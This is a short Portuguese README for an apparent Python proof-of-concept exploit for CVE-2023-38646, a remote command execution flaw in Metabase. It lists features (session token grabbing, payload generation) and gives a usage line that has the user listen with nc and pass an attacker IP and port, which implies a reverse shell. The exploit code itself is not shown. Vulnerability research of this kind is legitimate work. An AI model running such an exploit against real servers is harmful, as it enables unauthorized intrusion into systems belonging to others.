CVE-2023-38646-PoC-Metabase

Script de Prova de Conceito para explorar a CVE-2023-38646. Destinado apenas a fins educacionais e de pesquisa.

Descrição

Este é um script de Prova de Conceito (PoC) baseado em Python para explorar a CVE-2023-38646, uma vulnerabilidade que afeta o Metabase. O exploit abusa de configurações incorretas para obter execução remota de comandos.

⚠️ Aviso:
Este script destina-se exclusivamente a fins educacionais e pesquisa ética. O uso indevido deste script para atacar sistemas sem consentimento prévio é ilegal e antiético. O autor não é responsável por qualquer dano causado pelo uso desta ferramenta.

Recursos

• Obtém tokens de sessão automaticamente
• Gera payloads para execução remota de comandos
• Automatiza a implantação do exploit

Requisitos

• Python 3.7+
• Biblioteca requests (pip install requests)

Uso

• Certifique-se de estar escutando na porta com o nc antes.

python3 exploit.py -u <target_url> -ip <your_ip> -p <your_port>